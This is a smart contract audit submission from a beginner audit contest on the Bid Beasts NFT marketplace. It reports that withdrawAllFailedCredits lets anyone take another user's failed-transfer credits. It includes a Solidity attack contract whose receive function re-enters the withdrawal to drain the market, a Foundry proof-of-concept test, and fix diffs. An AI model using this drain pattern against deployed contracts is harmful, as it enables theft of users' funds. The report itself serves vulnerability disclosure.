Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Inconsistent Use of _receiver and msg.sender Enables Unauthorized Withdrawals

Incorrect mapping key in withdrawAllFailedCredits allows attackers to steal other users failed transfer credits.

Description

  • When _payout function is triggered and the transfer of the funds fails for some reason, failedTransferCredits mapping is introduced to keep track of funds that should have been sent to the user. User can then try again to retrieve those funds that failed to be transferred to him by using function withdrawAllFailedCredits.

  • Problem lies in the inconsistency of verification to whom those funds belong and applying proper access control. Malicious actor can supply the address of the user that has some balance saved inside of the failedTransferCredits mapping, but instead of eth being sent to the user that should actually receive it and properly handling the state of mapping failedTransferCredits , eth is sent to the msg.sender (which in this case is malicious actor) instead of the supplied _receiver address. Since the mapping is updated with the msg.sender key instead of _receiver , malicious actor can call this function multiple times resulting in draining the protocol out of all the eth balance.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver]; // @audit-issue this is wrong
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • This is possible anytime there is an element in the failedTransferCredits mapping that is holding the amount that is greater than 0, the only way for this mapping to be populated is through finding a way to call _payout function and failing the transfer of eth inside it.

  • Anyone can call the withdrawAllFailedCredits function and supply the address of choice since the function is external and has no implemented access control.

Impact:

  • Exploiting this vulnerability results in direct loss of the protocols eth.

Proof of Concept

Inside of the src/BidBeastsMarketPlaceTest.t.sol , i created this Attack contract. The purpose of this contract is to automate the process of calling the withdrawAllFailedCredits function multiple times to drain as much funds as possible. Custom logic is implemented in receive function that checks if the target balance is big enough to attempt the stealing of eth and then attempting to do it.

contract Attack {
BidBeastsNFTMarket target;
address rejector;
constructor(address _target, address _rejector) {
target = BidBeastsNFTMarket(_target);
rejector = _rejector;
}
receive() external payable {
if (address(target).balance >= target.failedTransferCredits(rejector)) {
target.withdrawAllFailedCredits(rejector);
}
}
}

Here is the actual function that show the path of exploiting this vulnerability, first there is a simulation of creating listings and bidding so that the protocol would have some eth on its balance. Then the rejector contract is used to make a bid on one listing, but that bid is intentionally bigger than the max price because it will trigger the 'buy now' logic that sends the excess eth back to the rejector. It is important to note that rejector has no implemented fallback or receive function resulting in a failure of receiving eth and thus setting up the failedTransferCredits mapping for exploitation. It is enough for attacker to call withdrawAllFailedCredits once because that function will then be called multiple times by going through the receive logic inside of the attacker contract - bouncing back and forth and resulting in draining of protocols funds.

function testStealFunds() public {
Attack hacker = new Attack(address(market), address(rejector));
vm.deal(address(rejector), 6 ether);
for (uint256 i = 0; i < 5; i++) {
vm.startPrank(OWNER);
nft.mint(SELLER);
vm.stopPrank();
vm.startPrank(SELLER);
nft.approve(address(market), i);
market.listNFT(i, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
vm.prank(BIDDER_2);
market.placeBid{value: 3 ether}(i);
}
vm.prank(address(rejector));
market.placeBid{value: 6 ether}(1);
uint256 marketBalanceBefore = address(market).balance;
uint256 hackerBalanceBefore = address(hacker).balance;
vm.prank(address(hacker));
market.withdrawAllFailedCredits(address(rejector));
uint256 marketBalanceAfter = address(market).balance;
uint256 hackerBalanceAfter = address(hacker).balance;
uint256 drained = marketBalanceBefore - marketBalanceAfter;
uint256 stolen = hackerBalanceAfter - hackerBalanceBefore;
assertGt(stolen, 0);
assertEq(stolen, drained);
}

Recommended Mitigation

There are multiple ways of solving this problem, one way is to change the function as shown in below example that will allow anyone to call it but the mapping will be updated properly and the eth would be send to the proper address.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}

The other way to fix this is instead of supplying other users address, users can withdraw only for himself and thus again resulting in the proper receival of eth as well as the proper update of mapping.

- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!